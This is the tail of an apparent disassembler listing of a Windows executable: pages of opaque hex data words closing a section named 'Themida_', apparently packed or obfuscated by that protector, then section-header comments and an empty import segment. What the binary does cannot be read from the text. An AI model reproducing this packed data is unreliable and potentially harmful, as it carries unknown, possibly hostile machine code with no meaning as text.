0E9734BBFh dd 11h, 0D066FFF6h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h, 97E18104h dd 8A740678h, 5E9E7h, 9D6C0000h, 0F736592h, 38Eh, 0C7BF0F00h dd 17F5F181h, 5DB10837h, 12E950h, 7B630000h, 236BFEEh dd 14DF0888h, 97C200C0h, 0D5B78FFAh, 0A8C0F5Fh, 60000000h dd 45D88166h, 0C68B66EDh, 0C8B70F61h, 0F1E663B9h, 8E91Dh dd 0AFD00000h, 0D0F38CF1h, 8F0FD6EFh, 16h, 0EE8h, 0EBC69F00h dd 0B6BF89Fh, 0AA4C6BDBh, 56403175h, 6651585Bh, 5AA630BFh dd 139601B8h, 0F6EB823h, 810F6B3Ah, 0 dd 0E9C9BF0Fh, 14h, 242BBAA3h, 59A29F55h, 0EA7D08E6h, 0E3ABF9B3h dd 7577873Fh, 5870Fh, 7BBA0000h, 6039773Bh, 8ACA8B66h dd 830F61E5h, 3, 0F9D1B70Fh, 81F8FA8Bh, 23A6CFEFh, 5860F3Eh dd 66000000h, 1294C381h, 5E25BE66h, 8B66F28Bh, 0E8ADB0C7h dd 0Eh, 0C18E5E70h, 7D7D2D72h, 3F21538Dh, 6056B475h, 0F5B5B61h dd 986h, 38A0F00h, 66000000h, 0C78BC18Bh, 0F059D5BBh, 4ADA8124h dd 0B6316A31h, 0C458BF4Ah, 8C0F417Ah, 13h, 0EE9h, 0B39FAC00h dd 0BC12739Ch, 982CF574h, 8BACE78Bh, 0ECCD80F2h, 0EE9h dd 0BA797300h, 761D2BB9h, 4B715678h, 0FA1E786h, 158Eh dd 9E800h, 58F30000h, 38FBFF61h, 0F6E458Ah, 83h, 0E8815800h dd 28F86FB4h, 0C88BD38Ah, 13E9h, 0FBB2DE00h, 63D86C2Dh dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 0BFF7BF0Fh, 2ECF02BAh dd 0A26FEE81h, 0C78B48AAh, 0CE8h, 1943A700h, 67DDF04Ch dd 0A20060D1h, 0DE96064h, 10000000h, 0CB52CC0h, 34A1E425h dd 924AA4A1h, 9E9h, 0FE24FE00h, 0D3C39AD4h, 5B6129ACh dd 8D0FF78Ah, 1Ah, 14810Fh, 0FE90000h, 22000000h, 7E6B9DE7h dd 0A7308903h, 34DFE812h, 0BE8C9F7h, 0A7000000h, 515CCA18h dd 85089EDDh, 0BA66534Dh, 0F5B1D83h, 8166FFBFh, 0E9742FEFh dd 12h, 2EDF82C9h, 0DA59EE4Dh, 51C5152Dh, 11E7F684h, 0CF815A2Dh dd 744A8FAEh, 8E8h, 53730B00h, 0C9050FCFh, 8E9574Ah, 6000000h dd 0D11D7CD9h, 5A18297Eh, 0BB66605Bh, 7BB5B783h, 81666061h dd 0F2345C6h, 187h, 5361FC00h, 0D9B70F59h, 0B7F3BF0Fh dd 66D38B32h, 14E9DA8Bh, 92000000h, 0BF9F881Fh, 9F806A31h dd 0F6C07A27h, 8A0DD58Bh, 0E84B5718h, 12h, 0DC237745h dd 988A8D6Ah, 58CC8F89h, 0C694F390h, 5AF82DC2h, 0E374F3BEh dd 78A0F2Bh, 60000000h, 49287EBBh, 0E7BB6143h, 0E85C846Dh dd 5, 0D479C5ADh, 0E959FCBFh, 6, 0D36EE57Ch, 8B66DB29h dd 0FFE8BF7h, 0B866F7BFh, 50B204CDh, 0B7CEB70Fh, 0E9F18B74h dd 0Dh, 97B262A6h, 0F561AEAAh, 60A4C797h, 4820F9Dh, 66000000h dd 0E86633B9h, 0Ah, 62CDB2Eh, 0CB444D5Ch, 0DF8B7A38h, 16870F5Eh dd 0E9000000h, 11h, 0C3EE777Ah, 31C300C7h, 0E9775B26h dd 0C902D1F9h, 10E869h, 11EA0000h, 61B8C65Ah, 6BBFF95Fh dd 0CEE1D7D0h, 66607A3Ah, 61E9D8BEh, 0B7C68A5Ah, 0DBB70FFFh dd 5EE28166h, 80E38138h, 8B1F1467h, 0DE9D6h, 0DB520000h dd 6A8ABB0h, 0C17082C0h, 662F14FCh, 0CA8AD78Bh, 80C0B70Fh dd 0DB8022EBh, 13E8FCFCh, 0B8000000h, 0AEE5BC59h, 0BEAFF76Ah dd 48683ED6h, 428156h, 81667634h, 58A6EBF2h, 2097BE66h dd 0FE960h, 3E620000h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah dd 810F61DDh, 6, 78CDD181h, 56F81D01h, 25EF8166h, 0FCF95A10h dd 7FAB866h, 0E940CD80h, 0Eh, 525EACB2h, 27121401h, 8E289577h dd 66F9A82Bh, 0D38AC78Bh, 0DC82F081h, 890F5946h, 3, 81CE8B66h dd 3C69A1D0h, 0AE809h, 99670000h, 0A149DD0Ah, 789ECDA7h dd 0E958EF8Ah, 13h, 700EB31h, 934341A0h, 0D7ADAAB4h, 902C4DD4h dd 0F14C7C7h, 384h, 0D2D08000h, 5830Fh, 81660000h, 0B93C0ACAh dd 19EBD5E0h, 0D98B6660h, 97ECF781h, 8161341Ch, 4F0E4BCEh dd 8977BB4Dh, 0AFB25C70h, 12E8h, 62431A00h, 9C23B7EDh dd 23D6ADC3h, 542036ADh, 81E2439Ah, 0F7229AE1h, 0BE95812h dd 4E000000h, 0AF0DB892h, 0D4845D4h, 850F5FBFh, 1, 0E85E52FCh dd 0Ah, 8637B1E3h, 1EDA602Bh, 6E96A59h, 15000000h, 5D933AF1h dd 14E95F07h, 22000000h, 0ED18204Ah, 825DC465h, 0CD7AD2ABh dd 0F1ADF433h, 6632ABA2h, 5016E5B9h, 38B0Fh, 0EE800000h dd 87B15F79h, 14E9C78Ah, 0A4000000h, 172B6BD8h, 1558B79Ch dd 0ED3DCC42h, 851EEEB8h, 53690F83h, 0A9C88166h, 890F58A4h dd 0Fh, 0AE9h, 0EA757D00h, 0A5F925FBh, 808B7871h, 8166EAD3h dd 66DCEACAh, 0E960D68Bh, 9, 0EEEA0692h, 82A80738h, 6E86148h dd 0D9000000h, 47320865h, 9EB660EBh, 5A616160h, 12E96060h dd 32000000h, 0A0377BAAh, 7341B011h, 3D77DF21h, 7182F3D6h dd 0BEBBB9DFh, 606172E6h, 0EE9h, 7AF34E00h, 0CF487704h dd 3F0CA72Ah, 80482A76h, 6161B2DDh, 0B9CFBF0Fh, 7EABE6D3h dd 58A0FFCh, 66000000h, 0C061CA81h, 0F5AF852h, 589h, 0B70F5300h dd 81665BD7h, 66732AD7h, 0CA81F78Bh, 8E43761h, 0FD7BF0Fh dd 281h, 0E9D1B200h, 0Bh, 3B6787AFh, 53DF1DCAh, 0E93507BBh dd 0Bh, 0EF93AC5Dh, 0ED1DA093h, 667D2298h, 0DB31EB81h dd 68D0Fh, 0C0810000h, 17C580A3h, 12E9h, 0C146E200h, 0AF80DA7Ah dd 6B4F8DA1h, 7446EF40h, 0FA0A407h, 8166FEB7h, 0F596ED3h dd 8D0FFABFh, 0Bh, 58C0Fh, 0D2B80000h, 0F5BAFDBh, 884h dd 28F0F00h, 51000000h, 0DE816659h, 8B66E07Ch, 350B9D7h dd 94A72DD7h, 297h dup(94A725D7h), 0CEE925D7h, 1A2h dup(0CEE99C71h) dd 0D5EE6F71h, 44Ch dup(0D5EE6E8Dh), 0EEEE6E8Dh, 274h dup(0EE36DBA9h) dd 0CCCCDBA9h, 902h dup(0CCCCCCCCh), 0CCCCh, 1E1h dup(0) Themida_ ends ; Section 5. (virtual address 001BC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BC000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5BC000h dd 80h dup(0) align 1000h _idata2 ends end start